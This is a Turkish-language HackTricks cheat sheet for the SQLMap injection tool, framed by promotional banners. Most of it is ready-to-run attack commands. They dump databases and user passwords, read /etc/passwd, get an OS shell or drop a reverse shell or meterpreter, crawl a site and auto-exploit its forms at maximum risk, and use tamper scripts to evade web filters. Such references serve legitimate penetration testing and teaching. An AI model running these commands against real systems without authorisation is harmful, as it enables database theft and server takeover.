.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - Hile Kağıdı
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
SQLmap için Temel Argümanlar
Genel
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Bilgi Al
İçsel
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB verileri
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Enjeksiyon Yeri
Burp/ZAP yakalama
İsteği yakalayın ve req.txt adında bir dosya oluşturun
sqlmap -r req.txt --current-user
GET İsteği Enjeksiyonu
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST İsteği Enjeksiyonu
sqlmap -u "http://example.com" --data "username=*&password=*"
Başlıklarda ve Diğer HTTP Metotlarında Enjeksiyonlar
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Enjeksiyon başarılı olduğunda dizeyi belirtin
--string="string_showed_when_TRUE"
Değerlendirme
Sqlmap, her bir yükü göndermeden önce onu işlemek için -e
veya --eval
kullanımına izin verir ve bunu bazı python oneliner'larıyla yapar. Bu, yükü göndermeden önce özelleştirilmiş şekillerde işlemeyi çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu, gönderilmeden önce flask tarafından bilinen sır ile imzalanır:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Kabuk
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Dosya Okuma
--file-read=/etc/passwd
SQLmap ile bir web sitesini tarama ve otomatik olarak açıkları kullanma
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
İkinci Derece Enjeksiyon
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Bu yazıyı okuyun, sqlmap ile basit ve karmaşık ikinci sıra enjeksiyonları nasıl gerçekleştireceğiniz hakkında.
Enjeksiyonu Özelleştirme
Bir sonek ayarlayın
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Önek
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Boolean enjeksiyonunu bulmaya yardım etmek
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Değiştir
Unutmayın ki kendi değiştiricinizi Python'da oluşturabilirsiniz ve çok basittir. Bir değiştirici örneği İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Açıklama |
---|---|
apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığıyla değiştirir |
apostrophenullencode.py | Apostrof karakterini yasak çift unicode karşılığıyla değiştirir |
appendnullbyte.py | Yükün sonuna kodlanmış NULL bayt karakteri ekler |
base64encode.py | Verilen yükteki tüm karakterleri Base64'e dönüştürür |
between.py | Büyüktür operatörünü ('>') '0 VE #' ARASINDA OLMAYAN' ile değiştirir |
bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Daha sonra karakter = 'i LIKE operatörüyle değiştirir |
chardoubleencode.py | Verilen yükteki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemez) |
commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
charencode.py | Verilen yükteki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemez) |
charunicodeencode.py | Verilen yükteki kodlanmamış karakterleri Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022" |
charunicodeescape.py | Verilen yükteki kodlanmamış karakterleri Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022" |
equaltolike.py | Tüm eşit operatörlerini ('=') 'LIKE' operatörüyle değiştirir |
escapequotes.py | Ters eğik çizgiyle tırnakları (' ve ") kaçırır |
greatest.py | Büyüktür operatörünü ('>') 'GREATEST' karşılığıyla değiştirir |
halfversionedmorekeywords.py | Her anahtar kelimenin önüne sürümlenmiş MySQL yorumu ekler |
ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
modsecurityversioned.py | Tam sorguyu sürümlenmiş yorumla kapsar |
modsecurityzeroversioned.py | Tam sorguyu sıfır sürümlü yorumla kapsar |
multiplespaces.py | SQL anahtar kelimelerin etrafına birden fazla boşluk ekler |
nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirmek için uygun temsilcilerle değiştirir (ör. .replace("SELECT", "")) filtreler |
percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
overlongutf8.py | Verilen yükteki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez) |
randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeriyle değiştirir |
randomcomments.py | SQL anahtar kelimelere rastgele yorumlar ekler |
securesphere.py | Özel oluşturulmuş dizeyi yükün sonuna ekler |
sp_password.py | Otomatik karışıklıktan kaçınmak için yükün sonuna 'sp_password' ekler |
space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
space2dash.py | Boşluk karakterini (' ') tire yorumu ('--') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2hash.py | Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2morehash.py | Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir |
space2mssqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
space2mssqlhash.py | Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından yeni satır ('\n') ile değiştirir |
space2mysqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
space2mysqldash.py | Boşluk karakterini (' ') tire yorumu ('--') ve ardından yeni satır ('\n') ile değiştirir |
space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
space2randomblank.py | Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir |
symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla değiştirir (&& ve) |
unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
unmagicquotes.py | Tırnak karakterini (') çoklu bayt kombinasyonu %bf%27 ile değiştirir ve sonuna genel yorum ekler (çalışması için) |
uppercase.py | Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT' |
varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
versionedkeywords.py | Her fonksiyon olmayan anahtar kelimeyi sürümlenmiş MySQL yorumuyla kapsar |
versionedmorekeywords.py | Her anahtar kelimeyi sürümlenmiş MySQL yorumuyla kapsar |
xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha fazla derinlemesine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.